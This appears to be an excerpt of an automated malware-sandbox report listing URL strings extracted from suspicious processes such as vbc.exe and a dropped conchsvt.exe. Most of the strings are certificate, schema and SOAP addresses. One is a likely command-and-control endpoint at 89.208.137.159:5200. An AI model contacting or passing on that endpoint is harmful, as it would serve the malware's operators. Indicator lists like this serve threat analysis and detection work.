Source: vbc.exe, 00000002.00000002.462592977.0000000006CEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://104.193.282
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp, conchsvt.exe, 0000000C.00000000.307537958.0000000000372000.00000002.00000001.01000000.0000000A.sdmp, conchsvt.exe.2.dr	String found in binary or memory: http://89.208.137.159:5200/add/
Source: softwareinstaller.exe	String found in binary or memory: http://aia.entrust.net/evcs1-chain256.cer01
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: softwareinstaller.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: softwareinstaller.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: softwareinstaller.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: softwareinstaller.exe	String found in binary or memory: http://crl.entrust.net/evcs1.crl0
Source: softwareinstaller.exe	String found in binary or memory: http://crl.entrust.net/g2ca.crl0;
Source: powershell.exe, 00000026.00000003.398486576.000002CD75A59000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000026.00000003.366531655.000002CD75A43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: softwareinstaller.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: softwareinstaller.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: softwareinstaller.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: vbc.exe, 00000002.00000002.455487577.0000000006BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://idpminic.org
Source: softwareinstaller.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: softwareinstaller.exe, GoogleUpdate.exe.24.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://ocsp.digicert.com0L
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: GoogleUpdate.exe.24.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: softwareinstaller.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: softwareinstaller.exe	String found in binary or memory: http://ocsp.entrust.net00
Source: softwareinstaller.exe	String found in binary or memory: http://ocsp.entrust.net05
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/crl/csca2020.crl0I
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/crl/rootca2020.crl0?
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/crl/tsca2020.crl0?
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/crt/csca2020.crt05
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/crt/rootca2020.crt07
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/crt/tsca2020.crt05
Source: softwareinstaller.exe	String found in binary or memory: http://pki.eset.com/csp0
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.444092389.00000000069E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
